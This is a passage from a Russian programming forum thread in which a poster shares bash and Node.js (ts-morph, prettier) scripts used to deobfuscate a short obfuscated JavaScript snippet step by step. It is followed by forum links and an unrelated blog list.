      h = af[0];
      d[f](d.body.querySelector(af[1]).appendChild(d.createElement("span")));
    };
  }
  if (!d.currentScript.onload) {
    d[f](d.currentScript);
  }
})(document, window);
Добавлено через 9 минут
Скрипты, с помощью которых расшифровывала:
Подразумевается, что установлены prettier и ts-morph, скрипты лежат в папке scripts, а обфусцированный исходник в src/source.js.

Пояснения к шагам:
1. Добавляем отступы и форматируем код покрасивше
2. Декодируем строки формата "\xHH\xHH" в человекочитаемый вид.
3.1. Понимаем, что в результируещем файле строки с 1-140 описывают исключительно некую функцию b, которая получает на вход какие-то идентификаторы, и выплёвывает строки. Выносим её в отдельный файл, чтобы использовать самим, оставшийся код переносим на следующий шаг.
3.2. Используем вынесенную функцию b, чтобы на место каждого её вызова подставить результат.
4. Дополнительные улучшения:
4.1. Заменяем синтаксис a["member"] на a.member
4.2. Заменяем числовые литералы 0x1, 0xa на их десятичные аналоги.
4.3. Заменяем JSON.parse(data) на результат парсинга.

Листинг
scripts/decode.sh
Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash
 
set -ex
 
SCRIPTS="$(pwd)/scripts"
mkdir -p results
 
pushd results
  # step 1
  cp ../src/source.js 001-beautified.js
  prettier -w 001-beautified.js
 
  # step 2
  cp 001-beautified.js 002-hex-decoded.js
  node "${SCRIPTS}/decode-hex.js"
 
  # step 3.0
  mkdir -p ../generated
  cat 002-hex-decoded.js | head -n 140 > ../generated/b-decoder.js
  echo "module.exports = b" >> ../generated/b-decoder.js
 
  # step 3.1
  cat 002-hex-decoded.js | tail -n +141 > 003-b-decoded.js
  node "${SCRIPTS}/decode-b.js"
 
  # step 4
  cp 003-b-decoded.js 004-normalizations.js
  node "${SCRIPTS}/normalizations.js"
  prettier -w 004-normalizations.js
popd
scripts/decode-hex.js
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
const { Project, ts } = require("ts-morph");
 
const project = new Project();
const source = project.addSourceFileAtPath("002-hex-decoded.js");
 
const literals = source.getDescendantsOfKind(ts.SyntaxKind.StringLiteral);
 
literals.forEach((literal) => {
  const text = eval(literal.getFullText());
  literal.replaceWithText(JSON.stringify(text));
});
 
project.save();
scripts/decode-b.js
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const fs = require("fs");
const decoder = require("../generated/b-decoder");
 
const contents = fs.readFileSync("003-b-decoded.js", "utf-8");
const next = contents.replace(/b\((.*?)\)/g, function (str, $1) {
  try {
    const result = decoder(JSON.parse($1));
    return JSON.stringify(result);
  } catch (error) {
    console.error(`Can't decode ${$1}`);
    return str;
  }
});
 
fs.writeFileSync("003-b-decoded.js", next);
scripts/normalizations.js
JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
const { Project, ts } = require("ts-morph");
 
const project = new Project();
const source = project.addSourceFileAtPath("004-normalizations.js");
 
let index;
while (
  (index = source
    .getDescendantsOfKind(ts.SyntaxKind.ElementAccessExpression)
    .find(
      (index) => index.getArgumentExpression().getKindName() === "StringLiteral"
    ))
) {
  const indexed = index.getChildren()[0].getFullText();
  const member = index.getArgumentExpression().getFullText();
  index.replaceWithText(`${indexed}.${JSON.parse(member)}`.trim());
}
 
const numericLiterals = source.getDescendantsOfKind(
  ts.SyntaxKind.NumericLiteral
);
numericLiterals.forEach((literal) => {
  const result = eval(literal.getFullText());
  literal.replaceWithText(result.toString());
});
 
let jsonCall;
while (
  (jsonCall = source
    .getDescendantsOfKind(ts.SyntaxKind.CallExpression)
    .find(
      (expr) => expr.getChildren()[0].getFullText().trim() === "JSON.parse"
    ))
) {
  const json = jsonCall.getArguments()[0].getFullText();
  const data = JSON.parse(eval(json));
  jsonCall.replaceWithText(JSON.stringify(data));
}
 
project.save();
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
14.05.2023, 19:00
Помогаю со студенческими работами здесь

что делает этот replace?
x=x.replace(/^.*\s+(\S+\s+\S+$)/,&quot;$1&quot;); AC=parseInt(x.replace(/^(.*)\..*$/,&quot;$1&quot;),10); ...

Что делает этот маленький прозрачный скрипт?
&lt;script type='text/javascript' src='/js/swfobject.js'&gt;&lt;/script&gt; &lt;script type='text/javascript'&gt; ...

Подскажите пожалуйста что делает этот скрипт
Здравствуйте, помогите понять логику что здесь происходит, хочу JS переписать на php r = n.toString( 8 ).replace( //g, function(c){...

Что делает код
Подскажите, пожалуйста, что делает ниже описанный код? this.el = this.getChildControlByName('name') this.el.valueRender =...

Что делает данный код?
Здравствуйте. Такая задача - узнать количество 6-значных чисел, у которых первые три цифры равны вторым трём цифрам. Нашёл такой код, но не...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
5
Ответ Создать тему
Новые блоги и статьи
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
[В процессе разработки] SDL3 для Web (WebAssembly): Сборка библиотек SDL3 и Box2D из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
И ясному Солнцу
zbw 12.02.2026
И ясному Солнцу, и светлой Луне. В мире покоя нет и люди не могут жить в тишине. А жить им немного лет.
«Знание-Сила»
zbw 12.02.2026
«Знание-Сила» «Время-Деньги» «Деньги -Пуля»
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru